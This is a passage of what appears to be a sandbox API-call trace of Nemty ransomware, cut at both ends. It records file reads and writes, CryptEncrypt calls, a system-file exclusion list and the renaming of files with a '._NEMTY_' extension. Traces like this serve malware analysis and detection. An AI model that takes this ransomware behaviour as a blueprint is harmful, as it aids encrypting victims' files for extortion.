hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0079.728] CloseHandle (hObject=0xffffffff) returned 0 [0079.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0079.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0079.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0079.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0079.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0079.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0079.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.729] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0079.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0079.729] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="push.png", cAlternateFileName="")) returned 1 [0079.729] lstrcmpiW (lpString1="push.png", lpString2=".") returned 1 [0079.729] lstrcmpiW (lpString1="push.png", lpString2="..") returned 1 [0079.729] lstrcmpiW (lpString1="push.png", lpString2="...") returned 1 [0079.729] lstrcmpiW (lpString1="push.png", lpString2="windows") returned -1 [0079.729] lstrcmpiW (lpString1="push.png", lpString2="$RECYCLE.BIN") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="rsa") returned -1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="NTDETECT.COM") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="ntldr") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="MSDOS.SYS") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="IO.SYS") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="boot.ini") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="boot.ini") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="AUTOEXEC.BAT") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="ntuser.dat") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="desktop.ini") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="CONFIG.SYS") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="RECYCLER") returned -1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="BOOTSECT.BAK") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="bootmgr") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="programdata") returned 1 [0079.730] lstrcmpiW (lpString1="push.png", lpString2="appdata") returned 1 [0079.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push.png", lpUsedDefaultChar=0x0) returned 8 [0079.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push.png", lpUsedDefaultChar=0x0) returned 8 [0079.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push.png", lpUsedDefaultChar=0x0) returned 8 [0079.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0079.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="push.png", lpUsedDefaultChar=0x0) returned 8 [0079.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0079.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0079.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0079.731] Sleep (dwMilliseconds=0x5) [0079.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe32db9b0, dwHighDateTime=0x1d561e7)) [0079.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe32db9b0, dwHighDateTime=0x1d561e7)) [0079.745] GetLastError () returned 0x5 [0079.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0079.745] GetLastError () returned 0x5 [0079.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0079.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0079.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0079.745] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0079.745] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0079.745] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0079.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0079.745] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="wVMp6MBM4rHqKbbwwruJLIuGoNcaD4wk/NIn7XfwwANSV8pnEcH4dH7S/QS4RTOG\r\nNx4q2gjJYnrtExp7kuOq4iHOs6NcrKEvXlTVJfbaWdu5kIFQSx5D/jLenFqUTedW\r\nLlURjODZEnJBsfZtDrqzpVd8eRix+Rd0kyAoBWN6jENlSbsjj2UUmTtQzEXl9QWU\r\nvwGyEWalTex1nm4/gJklaDo41KgHnPKIHimYrLYRgBjZ35pEsxcxZ1aazzTW26Nk\r\n/XUJG4Ww4tcrf9XGi/TK3atjGUeICY++QREv9WJLpfVVf3bdvzvwUkOY0qiNWhu/\r\nwMkPjrqIQBOVvYTnICDjwg==\r\n", pcchString=0x653e91c) returned 1 [0079.745] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0079.745] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0079.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0079.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0079.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0079.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0079.746] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.746] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0079.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0079.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0079.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0079.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0079.828] 